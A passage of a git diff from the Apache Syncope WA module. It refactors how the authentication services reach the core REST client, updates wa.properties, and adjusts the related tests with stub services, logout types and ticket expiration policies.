ClientAppType.OIDCRP)); - } else if (clazz.isInstance(SamlRegisteredService.class)) { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(name, ClientAppType.SAML2SP)); - } else { - return (T) registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(name, ClientAppType.CASSP)); - } } + + LOG.info("Searching for application definition by name {} and type {}", name, clazz); + if (clazz.isInstance(OidcRegisteredService.class)) { + return (T) registeredServiceMapper.toRegisteredService(waRestClient. + getService(WAClientAppService.class).read(name, ClientAppType.OIDCRP)); + } + if (clazz.isInstance(SamlRegisteredService.class)) { + return (T) registeredServiceMapper.toRegisteredService(waRestClient. + getService(WAClientAppService.class).read(name, ClientAppType.SAML2SP)); + } + return (T) registeredServiceMapper.toRegisteredService(waRestClient. + getService(WAClientAppService.class).read(name, ClientAppType.CASSP)); } @Override public RegisteredService findServiceByExactServiceName(final String name) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to fetch application definitions"); return null; - } else { - LOG.info("Searching for application definition by name {}", name); - return registeredServiceMapper.toRegisteredService(waRestClient.getSyncopeClient(). - getService(WAClientAppService.class).read(name, null)); } + + LOG.info("Searching for application definition by name {}", name); + return registeredServiceMapper.toRegisteredService( + waRestClient.getService(WAClientAppService.class).read(name, null)); } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationService.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationService.java index ad4c0833f2b..2a8ef9910f4 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationService.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/surrogate/WASurrogateAuthenticationService.java @@ -32,22 +32,21 @@ public class WASurrogateAuthenticationService implements SurrogateAuthenticationService { - private static final Logger LOG = LoggerFactory.getLogger(WASurrogateAuthenticationService.class); + protected static final Logger LOG = LoggerFactory.getLogger(WASurrogateAuthenticationService.class); - private final WARestClient waRestClient; + protected final WARestClient waRestClient; public WASurrogateAuthenticationService(final WARestClient waRestClient) { this.waRestClient = waRestClient; } @Override - public boolean canImpersonate( - final String surrogate, final Principal principal, final Optional service) { - + public boolean canImpersonate(final String surrogate, final Principal principal, final Optional service) { try { LOG.debug("Checking impersonation attempt by {} for {}", principal, surrogate); - return getImpersonationService().read(principal.getId()).stream(). - anyMatch(acct -> surrogate.equals(acct.getImpersonated())); + + return waRestClient.getService(ImpersonationService.class).read( + principal.getId()).stream().anyMatch(acct -> surrogate.equals(acct.getImpersonated())); } catch (final Exception e) { LOG.info("Could not authorize account {} for owner {}", surrogate, principal.getId()); } @@ -56,16 +55,9 @@ public boolean canImpersonate( @Override public Collection getImpersonationAccounts(final String username) { - return getImpersonationService().read(username). + return waRestClient.getService(ImpersonationService.class).read(username). stream(). map(ImpersonationAccount::getImpersonated). collect(Collectors.toList()); } - - private ImpersonationService getImpersonationService() { - if (!WARestClient.isReady()) { - throw new IllegalStateException("Syncope core is not yet ready"); - } - return waRestClient.getSyncopeClient().getService(ImpersonationService.class); - } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/u2f/WAU2FDeviceRepository.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/u2f/WAU2FDeviceRepository.java index a66a1962463..178392603c0 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/u2f/WAU2FDeviceRepository.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/u2f/WAU2FDeviceRepository.java @@ -42,9 +42,23 @@ public class WAU2FDeviceRepository extends BaseU2FDeviceRepository { private static final Logger LOG = LoggerFactory.getLogger(WAU2FDeviceRepository.class); - private final WARestClient waRestClient; + protected static U2FDeviceRegistration parseRegistrationRecord(final String owner, final U2FDevice device) { + try { + return U2FDeviceRegistration.builder(). + id(device.getId()). + username(owner). + record(device.getRecord()). + createdDate(device.getIssueDate().toInstant().atZone(ZoneId.systemDefault()).toLocalDate()). + build(); + } catch (Exception e) { + LOG.error(e.getMessage(), e); + } + return null; + } + + protected final WARestClient waRestClient; - private final OffsetDateTime expirationDate; + protected final OffsetDateTime expirationDate; public WAU2FDeviceRepository( final CasConfigurationProperties casProperties, @@ -57,23 +71,13 @@ public WAU2FDeviceRepository( this.expirationDate = expirationDate; } - private static U2FDeviceRegistration parseRegistrationRecord(final String owner, final U2FDevice device) { - try { - return U2FDeviceRegistration.builder(). - id(device.getId()). - username(owner). - record(device.getRecord()). - createdDate(device.getIssueDate().toInstant().atZone(ZoneId.systemDefault()).toLocalDate()). - build(); - } catch (final Exception e) { - LOG.error(e.getMessage(), e); - } - return null; + protected U2FRegistrationService service() { + return waRestClient.getService(U2FRegistrationService.class); } @Override public Collection getRegisteredDevices(final String owner) { - return getU2FService(). + return service(). search(new U2FDeviceQuery.Builder().owner(owner).expirationDate(expirationDate).build()).getResult(). stream(). map(device -> parseRegistrationRecord(owner, device)). @@ -83,7 +87,7 @@ public Collection getRegisteredDevices(final St @Override public Collection getRegisteredDevices() { - return getU2FService().search(new U2FDeviceQuery.Builder().expirationDate(expirationDate).build()).getResult(). + return service().search(new U2FDeviceQuery.Builder().expirationDate(expirationDate).build()).getResult(). stream(). map(device -> parseRegistrationRecord("", device)). filter(Objects::nonNull). @@ -98,13 +102,13 @@ public U2FDeviceRegistration registerDevice(final U2FDeviceRegistration registra record(registration.getRecord()). id(registration.getId()). build(); - getU2FService().create(registration.getUsername(), record); + service().create(registration.getUsername(), record); return parseRegistrationRecord(registration.getUsername(), record); } @Override public void deleteRegisteredDevice(final U2FDeviceRegistration registration) { - getU2FService().delete(new U2FDeviceQuery.Builder().id(registration.getId()).build()); + service().delete(new U2FDeviceQuery.Builder().id(registration.getId()).build()); } @Override @@ -124,18 +128,11 @@ public boolean isDeviceRegisteredFor(final String owner) { @Override public void clean() { - getU2FService().delete(new U2FDeviceQuery.Builder().expirationDate(expirationDate).build()); + service().delete(new U2FDeviceQuery.Builder().expirationDate(expirationDate).build()); } @Override public void removeAll() { - getU2FService().delete(new U2FDeviceQuery.Builder().build()); - } - - private U2FRegistrationService getU2FService() { - if (!WARestClient.isReady()) { - throw new IllegalStateException("Syncope core is not yet ready"); - } - return waRestClient.getSyncopeClient().getService(U2FRegistrationService.class); + service().delete(new U2FDeviceQuery.Builder().build()); } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/webauthn/WAWebAuthnCredentialRepository.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/webauthn/WAWebAuthnCredentialRepository.java index d62ffe218b0..bec625d1e9c 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/webauthn/WAWebAuthnCredentialRepository.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/webauthn/WAWebAuthnCredentialRepository.java @@ -40,9 +40,9 @@ public class WAWebAuthnCredentialRepository extends BaseWebAuthnCredentialRepository { - private static final Logger LOG = LoggerFactory.getLogger(WAWebAuthnCredentialRepository.class); + protected static final Logger LOG = LoggerFactory.getLogger(WAWebAuthnCredentialRepository.class); - private final WARestClient waRestClient; + protected final WARestClient waRestClient; public WAWebAuthnCredentialRepository(final CasConfigurationProperties properties, final WARestClient waRestClient) { @@ -50,23 +50,29 @@ public WAWebAuthnCredentialRepository(final CasConfigurationProperties propertie this.waRestClient = waRestClient; } + protected WebAuthnRegistrationService service() { + return waRestClient.getService(WebAuthnRegistrationService.class); + } + @Override - public boolean removeRegistrationByUsername(final String username, + public boolean removeRegistrationByUsername( + final String username, final CredentialRegistration credentialRegistration) { + String id = credentialRegistration.getCredential().getCredentialId().getHex(); - getService().delete(username, id); + service().delete(username, id); return true; } @Override public boolean removeAllRegistrations(final String username) { - getService().delete(username); + service().delete(username); return true; } @Override public Stream stream() { - return getService().list(). + return service().list(). stream(). map(WebAuthnAccount::getCredentials). flatMap(Collection::stream). @@ -91,13 +97,13 @@ protected void update(final String username, final Collection getRegistrationsByUsername(final String username) { try { - return getService().read(username).getCredentials().stream(). + return service().read(username).getCredentials().stream(). map(Unchecked.function(record -> { String json = getCipherExecutor().decode(record.getJson()); return WebAuthnUtils.getObjectMapper() @@ -115,22 +121,15 @@ public Collection getRegistrationsByUsername(final Strin }); })). collect(Collectors.toList()); - } catch (final SyncopeClientException e) { + } catch (SyncopeClientException e) { if (e.getType() == ClientExceptionType.NotFound) { LOG.info("Could not locate account for {}", username); } else { LOG.error(e.getMessage(), e); } - } catch (final Exception e) { + } catch (Exception e) { LOG.error(e.getMessage(), e); } return List.of(); } - - private WebAuthnRegistrationService getService() { - if (!WARestClient.isReady()) { - throw new IllegalStateException("Syncope core is not yet ready"); - } - return waRestClient.getSyncopeClient().getService(WebAuthnRegistrationService.class); - } } diff --git a/wa/starter/src/main/resources/wa.properties b/wa/starter/src/main/resources/wa.properties index f994a60f5ec..ff887f8c849 100644 --- a/wa/starter/src/main/resources/wa.properties +++ b/wa/starter/src/main/resources/wa.properties @@ -50,9 +50,8 @@ cas.service-registry.schedule.start-delay=PT30S cas.events.core.enabled=false -## -# Allow configuration classes to override bean definitions from Spring Boot -# +cas.slo.disabled=false + spring.main.allow-bean-definition-overriding=true spring.main.lazy-initialization=false @@ -67,8 +66,8 @@ wa.anonymousKey=${anonymousKey} wa.useGZIPCompression=true # Conf directories -conf.directory=${conf.directory} -cas.standalone.configuration-directory=${conf.directory} +conf.directory=${syncope.conf.dir} +cas.standalone.configuration-directory=${syncope.conf.dir} cas.server.name=http://localhost:8080 cas.server.prefix=${cas.server.name}/syncope-wa @@ -77,11 +76,12 @@ cas.server.scope=syncope.org cas.logout.follow-service-redirects=true cas.authn.saml-idp.core.entity-id=${cas.server.prefix}/saml -cas.authn.saml-idp.metadata.http.metadata-backup-location=file:${conf.directory}/saml +cas.authn.saml-idp.metadata.http.metadata-backup-location=file:${syncope.conf.dir}/saml cas.authn.oidc.core.issuer=${cas.server.prefix}/oidc cas.authn.oidc.discovery.id-token-signing-alg-values-supported=RS256,RS384,RS512,PS256,PS384,PS512,ES256,ES384,ES512,HS256,HS384,HS512 cas.authn.oidc.discovery.user-info-signing-alg-values-supported=RS256,RS384,RS512,PS256,PS384,PS512,ES256,ES384,ES512,HS256,HS384,HS512 +cas.authn.oidc.discovery.scopes=openid,profile,email,address,phone,syncope cas.authn.oauth.core.user-profile-view-type=FLAT # Disable access to the login endpoint @@ -92,9 +92,6 @@ cas.sso.allow-missing-service-parameter=true # by default for now. cas.acceptable-usage-policy.core.enabled=false -spring.security.user.name=${anonymousUser} -spring.security.user.password=${anonymousKey} - springdoc.show-actuator=true springdoc.model-and-view-allowed=true springdoc.writer-with-default-pretty-printer=true @@ -105,9 +102,6 @@ cas.authn.mfa.web-authn.core.application-id=https://localhost:8443 cas.authn.mfa.web-authn.core.relying-party-name=Syncope cas.authn.mfa.web-authn.core.relying-party-id=syncope.apache.org -cas.authn.syncope.url=${cas.server.name}/syncope -cas.authn.syncope.name=DefaultSyncopeAuthModule - ## # Default strategy for matching request paths against # registered Spring MVC handler mappings diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/AbstractTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/AbstractTest.java index 0c37f9e86ed..95ac596edde 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/AbstractTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/AbstractTest.java @@ -18,7 +18,13 @@ */ package org.apache.syncope.wa.starter; +import static org.awaitility.Awaitility.await; + import java.util.UUID; +import java.util.concurrent.TimeUnit; +import org.apache.syncope.wa.bootstrap.WARestClient; +import org.junit.jupiter.api.BeforeEach; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.TestConfiguration; import org.springframework.boot.test.web.server.LocalServerPort; @@ -57,4 +63,11 @@ public SyncopeCoreTestingServer syncopeCoreTestingServer() { @LocalServerPort protected int port; + @Autowired + private WARestClient waRestClient; + + @BeforeEach + public void waitForCore() { + await().atMost(50, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> waRestClient.isReady()); + } } diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/SyncopeCoreTestingServer.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/SyncopeCoreTestingServer.java index 41de8806e64..3b7fef60547 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/SyncopeCoreTestingServer.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/SyncopeCoreTestingServer.java @@ -34,14 +34,19 @@ import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.audit.AuditEntry; +import org.apache.syncope.common.lib.audit.EventCategory; import org.apache.syncope.common.lib.to.AttrRepoTO; +import org.apache.syncope.common.lib.to.AuditConfTO; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; import org.apache.syncope.common.lib.wa.ImpersonationAccount; import org.apache.syncope.common.lib.wa.WAClientApp; +import org.apache.syncope.common.rest.api.beans.AuditQuery; import org.apache.syncope.common.rest.api.service.AttrRepoService; +import org.apache.syncope.common.rest.api.service.AuditService; import org.apache.syncope.common.rest.api.service.AuthModuleService; import org.apache.syncope.common.rest.api.service.wa.GoogleMfaAuthTokenService; import org.apache.syncope.common.rest.api.service.wa.ImpersonationService; @@ -63,7 +68,7 @@ public class SyncopeCoreTestingServer implements ApplicationListener CONFIG = new ArrayList<>(); - public static class StubAuthModuleService implements AuthModuleService { + protected static class StubAuthModuleService implements AuthModuleService { @Override public AuthModuleTO read(final String key) { @@ -94,7 +99,7 @@ public void delete(final String key) { } } - public static class StubAttrRepoService implements AttrRepoService { + protected static class StubAttrRepoService implements AttrRepoService { @Override public AttrRepoTO read(final String key) { @@ -125,7 +130,7 @@ public void delete(final String key) { } } - public static class StubWAClientAppService implements WAClientAppService { + protected static class StubWAClientAppService implements WAClientAppService { @Override public List list() { @@ -146,7 +151,7 @@ public WAClientApp read(final String name, final ClientAppType type) { } } - public static class StubWAConfigService implements WAConfigService { + protected static class StubWAConfigService implements WAConfigService { @Override public List list() { @@ -171,12 +176,12 @@ public void delete(final String schema) { } @Override - public void pushToWA() { + public void pushToWA(final PushSubject subject, final List services) { // nothing to do } } - public static class StubImpersonationService implements ImpersonationService { + protected static class StubImpersonationService implements ImpersonationService { private final Map> accounts = new HashMap<>(); @@ -210,7 +215,7 @@ public void delete(final String owner, final String impersonated) { } } - public static class StubGoogleMfaAuthTokenService implements GoogleMfaAuthTokenService { + protected static class StubGoogleMfaAuthTokenService implements GoogleMfaAuthTokenService { private final Map tokens = new HashMap<>(); @@ -273,6 +278,44 @@ public PagedResult list() { } } + protected static class StubAuditService implements AuditService { + + @Override + public List list() { + return List.of(); + } + + @Override + public AuditConfTO read(final String key) { + throw new NotFoundException(); + } + + @Override + public void set(final AuditConfTO auditTO) { + // nothing to do + } + + @Override + public void delete(final String key) { + // nothing to do + } + + @Override + public List events() { + return List.of(); + } + + @Override + public PagedResult search(final AuditQuery auditQuery) { + return new PagedResult<>(); + } + + @Override + public void create(final AuditEntry auditEntry) { + // nothing to do + } + } + @Autowired private ServiceOps serviceOps; @@ -284,12 +327,16 @@ public void onApplicationEvent(final ContextRefreshedEvent event) { JAXRSServerFactoryBean sf = new JAXRSServerFactoryBean(); sf.setAddress(ADDRESS); sf.setResourceClasses( + AuditService.class, AuthModuleService.class, AttrRepoService.class, WAClientAppService.class, WAConfigService.class, GoogleMfaAuthTokenService.class, ImpersonationService.class); + sf.setResourceProvider( + AuditService.class, + new SingletonResourceProvider(new StubAuditService(), true)); sf.setResourceProvider( AuthModuleService.class, new SingletonResourceProvider(new StubAuthModuleService(), true)); diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/WAServiceRegistryTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/WAServiceRegistryTest.java index 2b74bd1661e..3cf90ef1b60 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/WAServiceRegistryTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/WAServiceRegistryTest.java @@ -26,8 +26,6 @@ import java.util.List; import java.util.Map; import java.util.Set; -import org.apache.syncope.client.lib.SyncopeClient; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.auth.OIDCAuthModuleConf; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; @@ -35,9 +33,12 @@ import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; +import org.apache.syncope.common.lib.types.LogoutType; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; @@ -54,7 +55,7 @@ import org.apereo.cas.services.RegisteredService; import org.apereo.cas.services.RegisteredServiceAccessStrategy; import org.apereo.cas.services.RegisteredServiceDelegatedAuthenticationPolicy; -import org.apereo.cas.services.ReturnAllowedAttributeReleasePolicy; +import org.apereo.cas.services.RegisteredServiceLogoutType; import org.apereo.cas.services.ServicesManager; import org.apereo.cas.support.saml.services.SamlRegisteredService; import org.apereo.cas.util.RandomUtils; @@ -76,6 +77,7 @@ private static OIDCRPClientAppTO buildOIDCRP() { oidcrpTO.setSubjectType(OIDCSubjectType.PUBLIC); oidcrpTO.getSupportedGrantTypes().add(OIDCGrantType.password); oidcrpTO.getSupportedResponseTypes().add(OIDCResponseType.CODE); + oidcrpTO.setLogoutType(LogoutType.BACK_CHANNEL); return oidcrpTO; } @@ -90,13 +92,12 @@ private static SAML2SPClientAppTO buildSAML2SP() { saml2spto.setRequiredNameIdFormat(SAML2SPNameId.EMAIL_ADDRESS); saml2spto.setEncryptionOptional(true); saml2spto.setEncryptAssertions(true); - + saml2spto.setLogoutType(LogoutType.BACK_CHANNEL); return saml2spto; } private static void addPolicies( final WAClientApp waClientApp, - final boolean withReleaseAttributes, final boolean withAttrReleasePolicy) { DefaultAuthPolicyConf authPolicyConf = new DefaultAuthPolicyConf(); @@ -107,14 +108,14 @@ private static void addPolicies( waClientApp.setAuthPolicy(authPolicy); - if (withReleaseAttributes) { - waClientApp.getReleaseAttrs().putAll(Map.of("uid", "username", "cn", "fullname")); - } + AuthModuleTO authModule = new AuthModuleTO(); + authModule.setKey("TestAuthModule"); + waClientApp.getAuthModules().add(authModule); AccessPolicyTO accessPolicy = new AccessPolicyTO(); - accessPolicy.setEnabled(true); DefaultAccessPolicyConf accessPolicyConf = new DefaultAccessPolicyConf(); - accessPolicyConf.getRequiredAttrs().add(new Attr.Builder("cn").values("admin", "Admin", "TheAdmin").build()); + accessPolicyConf.setEnabled(true); + accessPolicyConf.getRequiredAttrs().put("cn", "admin,Admin,TheAdmin"); accessPolicy.setConf(accessPolicyConf); waClientApp.setAccessPolicy(accessPolicy); @@ -122,11 +123,20 @@ private static void addPolicies( DefaultAttrReleasePolicyConf attrReleasePolicyConf = new DefaultAttrReleasePolicyConf(); attrReleasePolicyConf.getAllowedAttrs().add("cn"); attrReleasePolicyConf.getPrincipalAttrRepoConf().getAttrRepos().add("TestAttrRepo"); + attrReleasePolicyConf.getReleaseAttrs().putAll(Map.of("uid", "username", "cn", "fullname")); AttrReleasePolicyTO attrReleasePolicy = new AttrReleasePolicyTO(); attrReleasePolicy.setConf(attrReleasePolicyConf); waClientApp.setAttrReleasePolicy(attrReleasePolicy); } + + TicketExpirationPolicyTO ticketExpirationPolicy = new TicketExpirationPolicyTO(); + DefaultTicketExpirationPolicyConf ticketExpirationPolicyConf = new DefaultTicketExpirationPolicyConf(); + DefaultTicketExpirationPolicyConf.TGTConf tgtConf = new DefaultTicketExpirationPolicyConf.TGTConf(); + tgtConf.setMaxTimeToLiveInSeconds(110); + ticketExpirationPolicyConf.setTgtConf(tgtConf); + ticketExpirationPolicy.setConf(ticketExpirationPolicyConf); + waClientApp.setTicketExpirationPolicy(ticketExpirationPolicy); } @Autowired @@ -144,19 +154,16 @@ private static void addPolicies( @Test public void addClientApp() { // 1. start with no client apps defined on mocked Core - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - assertNotNull(syncopeClient); - SyncopeCoreTestingServer.CLIENT_APPS.clear(); - WAClientAppService service = syncopeClient.getService(WAClientAppService.class); + WAClientAppService service = waRestClient.getService(WAClientAppService.class); assertTrue(service.list().isEmpty()); // 2. add one client app on mocked Core, nothing on WA yet WAClientApp waClientApp = new WAClientApp(); waClientApp.setClientAppTO(buildOIDCRP()); Long clientAppId = waClientApp.getClientAppTO().getClientAppId(); - addPolicies(waClientApp, false, false); + addPolicies(waClientApp, false); SyncopeCoreTestingServer.CLIENT_APPS.add(waClientApp); List apps = service.list(); @@ -181,12 +188,13 @@ public void addClientApp() { assertTrue(((AnyAuthenticationHandlerRegisteredServiceAuthenticationPolicyCriteria) oidc. getAuthenticationPolicy().getCriteria()).isTryAll()); assertTrue(oidc.getAttributeReleasePolicy() instanceof ChainingAttributeReleasePolicy); + assertEquals(RegisteredServiceLogoutType.valueOf(oidcrpto.getLogoutType().name()), oidc.getLogoutType()); // 5. more client with different attributes waClientApp = new WAClientApp(); waClientApp.setClientAppTO(buildSAML2SP()); clientAppId = waClientApp.getClientAppTO().getClientAppId(); - addPolicies(waClientApp, false, true); + addPolicies(waClientApp, true); SyncopeCoreTestingServer.CLIENT_APPS.add(waClientApp); apps = service.list(); @@ -203,12 +211,13 @@ public void addClientApp() { assertEquals(samlspto.getEntityId(), saml.getServiceId()); assertTrue(saml.getAuthenticationPolicy().getRequiredAuthenticationHandlers().contains("TestAuthModule")); assertNotNull(found.getAccessStrategy()); - assertTrue(saml.getAttributeReleasePolicy() instanceof ReturnAllowedAttributeReleasePolicy); + assertTrue(saml.getAttributeReleasePolicy() instanceof ChainingAttributeReleasePolicy); + assertEquals(RegisteredServiceLogoutType.valueOf(samlspto.getLogoutType().name()), saml.getLogoutType()); waClientApp = new WAClientApp(); waClientApp.setClientAppTO(buildSAML2SP()); clientAppId = waClientApp.getClientAppTO().getClientAppId(); - addPolicies(waClientApp, false, false); + addPolicies(waClientApp, false); SyncopeCoreTestingServer.CLIENT_APPS.add(waClientApp); apps = service.list(); @@ -224,9 +233,6 @@ public void addClientApp() { @Test public void delegatedAuthentication() { // 1. start with 1 client app and 1 auth module defined on mocked Core - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - assertNotNull(syncopeClient); - OIDCAuthModuleConf oidcAuthModuleConf = new OIDCAuthModuleConf(); oidcAuthModuleConf.setClientId("clientId"); oidcAuthModuleConf.setClientSecret("clientSecret"); @@ -236,18 +242,18 @@ public void delegatedAuthentication() { SyncopeCoreTestingServer.AUTH_MODULES.clear(); SyncopeCoreTestingServer.AUTH_MODULES.add(authModuleTO); - AuthModuleService authModuleService = syncopeClient.getService(AuthModuleService.class); + AuthModuleService authModuleService = waRestClient.getService(AuthModuleService.class); assertEquals(1, authModuleService.list().size()); SyncopeCoreTestingServer.CLIENT_APPS.clear(); - WAClientAppService waClientAppService = syncopeClient.getService(WAClientAppService.class); + WAClientAppService waClientAppService = waRestClient.getService(WAClientAppService.class); assertTrue(waClientAppService.list().isEmpty()); WAClientApp waClientApp = new WAClientApp(); waClientApp.setClientAppTO(buildOIDCRP()); waClientApp.getAuthModules().add(0, authModuleTO); Long clientAppId = waClientApp.getClientAppTO().getClientAppId(); - addPolicies(waClientApp, false, false); + addPolicies(waClientApp, false); DefaultAuthPolicyConf authPolicyConf = (DefaultAuthPolicyConf) waClientApp.getAuthPolicy().getConf(); authPolicyConf.getAuthModules().clear(); authPolicyConf.getAuthModules().add(authModuleTO.getKey()); @@ -266,7 +272,7 @@ public void delegatedAuthentication() { assertNotNull(service); assertEquals( - Set.of("DelegatedClientAuthenticationHandler"), + Set.of("TestAuthModule", "DelegatedClientAuthenticationHandler"), service.getAuthenticationPolicy().getRequiredAuthenticationHandlers()); RegisteredServiceAccessStrategy accessStrategy = service.getAccessStrategy(); @@ -276,5 +282,7 @@ public void delegatedAuthentication() { assertNotNull(delegatedAuthPolicy); assertEquals(1, delegatedAuthPolicy.getAllowedProviders().size()); assertTrue(delegatedAuthPolicy.getAllowedProviders().contains(authModuleTO.getKey())); + + assertNotNull(service.getTicketGrantingTicketExpirationPolicy()); } } diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManagerTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManagerTest.java index 7e620b9a3dd..48a90f02ef9 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManagerTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManagerTest.java @@ -24,7 +24,6 @@ import static org.mockito.Mockito.when; import java.util.Date; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.audit.AuditEntry; import org.apache.syncope.common.rest.api.service.AuditService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -37,14 +36,13 @@ public class WAAuditTrailManagerTest extends AbstractTest { private static AuditService LOGGER_SERVICE; private static WARestClient getWaRestClient() { - WARestClient restClient = mock(WARestClient.class); - SyncopeClient syncopeClient = mock(SyncopeClient.class); LOGGER_SERVICE = mock(AuditService.class); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); - when(syncopeClient.getService(AuditService.class)).thenReturn(LOGGER_SERVICE); + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.isReady()).thenReturn(Boolean.TRUE); + when(waRestClient.getService(AuditService.class)).thenReturn(LOGGER_SERVICE); - return restClient; + return waRestClient; } @Test diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/events/WAEventRepositoryTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/events/WAEventRepositoryTest.java index 1c6a67da02b..b9b570080d7 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/events/WAEventRepositoryTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/events/WAEventRepositoryTest.java @@ -24,7 +24,6 @@ import static org.mockito.Mockito.when; import java.util.Map; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.audit.AuditEntry; import org.apache.syncope.common.rest.api.service.AuditService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -38,14 +37,13 @@ public class WAEventRepositoryTest extends AbstractTest { private static AuditService AUDIT_SERVICE; private static WARestClient getWaRestClient() { - WARestClient restClient = mock(WARestClient.class); - SyncopeClient syncopeClient = mock(SyncopeClient.class); AUDIT_SERVICE = mock(AuditService.class); - when(restClient.getSyncopeClient()).thenReturn(syncopeClient); - when(syncopeClient.getService(AuditService.class)).thenReturn(AUDIT_SERVICE); + WARestClient waRestClient = mock(WARestClient.class); + when(waRestClient.isReady()).thenReturn(Boolean.TRUE); + when(waRestClient.getService(AuditService.class)).thenReturn(AUDIT_SERVICE); - return restClient; + return waRestClient; } @Test diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/token/WAGoogleMfaAuthTokenRepositoryTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepositoryTest.java similarity index 96% rename from wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/token/WAGoogleMfaAuthTokenRepositoryTest.java rename to wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepositoryTest.java index b3089233daa..e21bda81141 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/token/WAGoogleMfaAuthTokenRepositoryTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepositoryTest.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.starter.gauth.token; +package org.apache.syncope.wa.starter.gauth; import static org.junit.jupiter.api.Assertions.assertEquals; diff --git a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientCustomizerTest.java b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientCustomizerTest.java index 4b63324aab4..94b4db15525 100644 --- a/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientCustomizerTest.java +++ b/wa/starter/src/test/java/org/apache/syncope/wa/starter/pac4j/saml/WASAML2ClientCustomizerTest.java @@ -27,7 +27,6 @@ import java.nio.charset.StandardCharsets; import org.apache.commons.io.IOUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; import org.apache.syncope.common.rest.api.service.SAML2SPEntityService; import org.apache.syncope.wa.bootstrap.WARestClient; @@ -49,13 +48,10 @@ public void customize() throws Exception { when(service.get(anyString())).thenReturn(entityTO); doNothing().when(service).set(any(SAML2SPEntityTO.class)); - WARestClient restClient 